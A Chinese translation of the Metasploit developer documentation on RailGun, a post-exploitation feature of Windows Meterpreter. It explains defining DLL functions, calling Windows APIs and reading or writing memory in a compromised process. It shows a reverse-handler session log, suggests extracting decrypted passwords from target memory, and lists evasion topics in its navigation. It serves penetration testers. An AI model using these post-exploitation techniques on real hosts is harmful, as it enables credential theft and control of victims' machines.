RailGunner是Windows Meterpreter獨有的強大的后期開發功能。它可以讓你完全控制你的目標機器的Windows API,或者你可以使用你找到的任何DLL,并用它做更多的創意性的工作。例如:假設您在Windows目標上有一個meterpreter會話。你有一個特定的應用程序,你認為存儲用戶的密碼,但它是加密的,但是沒有工具在那里解密。使用RailGun,你可以做的是,你可以進入這個進程,并查找內存中發現的任何敏感信息,或者你可以查找負責解密的程序的DLL,調用它,并讓它為你解密。如果你是滲透測試人員,顯然后期開發是一項重要的技能,但如果你不知道railgun,你錯過很多,
### 定義一個DLL及其函數
Windows API顯然是相當多的,所以默認情況下,Railgun只有一些預定義的DLL和通常用于構建Windows程序的函數。這些內置DLL是:kernel32, ntdll, user32, ws2_32, iphlpapi, advapi32, shell32, netapi32, crypt32, wlanapi, wldap32, version.內置DLL的相同列表也可以通過使用該`known_dll_names`方法來檢索。
所有all定義可以在這個"[def](https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun/def)" 目錄找到.他們是像一個類一樣定義的.下面的模塊應該能演示一個dll是怎么定義的
```ruby
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
class Def_somedll
def self.create_dll(dll_path = 'somedll')
dll = DLL.new(dll_path, ApiConstants.manager)
# 1st argument = Name of the function
# 2nd argument = Return value's data type
# 3rd argument = An array of parameters
dll.add_function('SomeFunction', 'DWORD',[
["DWORD","hwnd","in"]
])
return dll
end
end
end; end; end; end; end; end; end
```
在函數定義,railgun支持這些數據類型:VOID, BOOL, DWORD, WORD, BYTE, LPVOID, HANDLE, PDWORD, PWCHAR, PCHAR, PBLOB.
有四個參數/緩沖區說明:in, out, inout, and return.將值傳遞給“in”參數時,Railgun將處理內存管理。例如,MessageBoxA有一個名為“in”的參數lpText,并且是PCHAR類型。你可以簡單地傳遞一個Ruby字符串,然后Railgun處理剩下的事情,這非常簡單。
“out”參數將始終是指針數據類型。基本上,你告訴Railgun要為參數分配多少字節,它分配內存,在調用函數時提供一個指向它的指針,然后讀取該函數寫入的內存區域,將其轉換為Ruby對象,并將其添加到返回字典。
一個“inout”參數作為被調用函數的輸入,但是可能會被其修改。您可以檢查修改后的值的返回散列,如“out”參數。
在運行時定義一個新函數的快速方法,可以像下面的例子那樣完成:
```ruby
client.railgun.add_function('user32', 'MessageBoxA', 'DWORD',[
["DWORD","hWnd","in"],
["PCHAR","lpText","in"],
["PCHAR","lpCaption","in"],
["DWORD","uType","in"]
])
```
但是,如果這個函數很可能被多次使用,或者它是Windows API的一部分,那么你應該把它放在庫中。
### 示例
嘗試Railgun的最好方法是在Windows Meterpreter提示符下使用irb。這是一個如何到達的例子:
```
$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.64:4444
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.106:55148) at 2014-07-30 19:49:35 -0500
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>
```
注意,當你運行一個post模塊或irb時,你總是有一個`client`或者一個`session`對象來處理,都指向相同的東西,在這種情況下是```Msf::Sessions::Meterpreter_x86_Win```.這個Meterpreter會話對象為您提供對目標機器的API訪問,包括Railgun對象```Rex::Post::Meterpreter::Extensions::Stdapi::Railgun::Railgun```.這是你是如何簡單的訪問它
```ruby
session.railgun
```
如果你用irb運行上面的代碼,你會發現它返回所有的DLL,函數,常量等的信息.它讀取是有些不友好,因為那數據非常多.幸運的是,有一些方便的技巧可以幫助我們解決問題。例如,就像我們之前提到的那樣,如果您不確定哪些DLL被加載,您可以調用`known_dll_names`方法:
```
>> session.railgun.known_dll_names
=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32", "wlanapi", "wldap32", "version"]
```
現在,假設我們對user32感興趣,并且希望找到所有可用的函數(以及返回值的數據類型,參數),另一個方便的技巧是:
```ruby
session.railgun.user32.functions.each_pair {|n, v| puts "Function name: #{n}, Returns: #{v.return_type}, Params: #{v.params}"}
```
請注意,如果您碰巧調用了無效的或不受支持的Windows函數,會引發一個`runtimeerror`和錯誤信息.并顯示可用函數的列表。
要調用Windows API函數,請執行以下操作:
```
>> session.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
```
如果你能看到api調用返回一個字典.我們已經看到了一個習慣,有時人們不喜歡檢查```GetLastError```, ```ErrorMessage```, 和```return``` 值.他們只是假設它是工作的。這是一個壞的程序習慣,是不推薦的.如果你也假設一些東西是工作的,和執行下一個api調用.你有可能獲得意外的結果(最壞的情況:丟失Meterpreter會話)。
### 內存讀寫
這個Railgun類還有兩個非常有用的方法,您可能會使用:memread和memwrite。名字是不言自明的:你讀了一塊內存,或者你寫入一個內存區域。我們將在有效載荷本身中演示 一個新的內存塊:
```
>> p = session.sys.process.open(session.sys.process.getpid, PROCESS_ALL_ACCESS)
=> #<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 @client=#<Session:meterpreter 192.168.1.106:55151 (192.168.1.106) "WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM">, @handle=448, @channel=nil, @pid=2268, @aliases={"image"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Image:0x007fe2c5a25828 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "io"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::IO:0x007fe2c5a257b0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "memory"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Memory:0x007fe2c5a25738 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>, "thread"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread:0x007fe2c5a256c0 @process=#<#<Class:0x007fe2e051b740>:0x007fe2c5a258a0 ...>>}>
>> p.memory.allocate(1024)
=> 5898240
```
像你能看到的 新的分配在地址5898240(或者16進制 0x005A0000).讓我們首先在上面寫4個字節
```
>> session.railgun.memwrite(5898240, "AAAA", 4)
=> true
```
```memwrite```返回true,這種情況意味這成功,讓我們從0x005A0000讀取4個字節
```
>> session.railgun.memread(5898240, 4)
=> "AAAA"
```
請注意,如果提供的指針不正確,則可能導致訪問沖突并使Meterpreter發生崩潰。
### 參考
https://www.youtube.com/watch?v=AniR-T0AnnI
https://www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf
https://dev.metasploit.com/redmine/projects/framework/wiki/RailgunUsage
https://github.com/rapid7/metasploit-framework/tree/master/lib/rex/post/meterpreter/extensions/stdapi/railgun
http://msdn.microsoft.com/en-us/library/ms681381(VS.85).aspx
http://msdn.microsoft.com/en-us/library/aa383749
http://undocumented.ntinternals.net/
http://source.winehq.org/WineAPI/
- Home
- 開始使用
- 安裝metasploit開發環境
- 使用metasploit
- 使用git
- 報告一個bug
- 貢獻代碼
- 貢獻給metasploit
- 創建一個loginscans Metasploit模塊
- 接受模塊和增強功能的指導
- 常見的Metasploit模塊代碼錯誤
- 樣式提示
- metasploit提交者
- metasploit開發
- 為什么是ruby
- 樣式提示
- 如何開始寫一個exploit
- 如何開始寫一個輔助模塊
- 如何開始寫一個post模塊
- 如何開始寫一個Meterpreter腳本
- 載入外部模塊
- exploit rank
- Metasploit模塊引用標識符
- 怎么在你的exploit中確認window補丁程序級別
- 如何使用filedropper清理文件
- 如何棄用metasploit模塊
- 如何在模塊開發中報告或儲存數據
- 在metasploit如何使用日志
- 如何在metasploit對JavaScript進行混淆
- 如何解析一個http響應
- 如何使用HTTPClient發送HTTP請求
- 如何使用命令階段
- 如何使用數據儲存選項
- 如何在window后期開發中使用railgun
- 如何在exploit中使用powershell
- 如何使用PhpEXE來利用任意文件上傳漏洞
- 如何使用FILEFORMAT mixin創建一個文件格式exploit
- 如何使用BrowserExploitServer編寫一個瀏覽器exploit
- 如何使用HttpServer編寫瀏覽器exploit
- 如何編寫一個check()方法
- 如何使用Seh mixin來利用異常處理程序
- 如何在Windows上使用WbemExec進行寫入權限攻擊
- 如何使用httpserver和httpclient編寫一個模塊
- payloads如何工作
- 如何免殺
- 如何正確使用metasploit模塊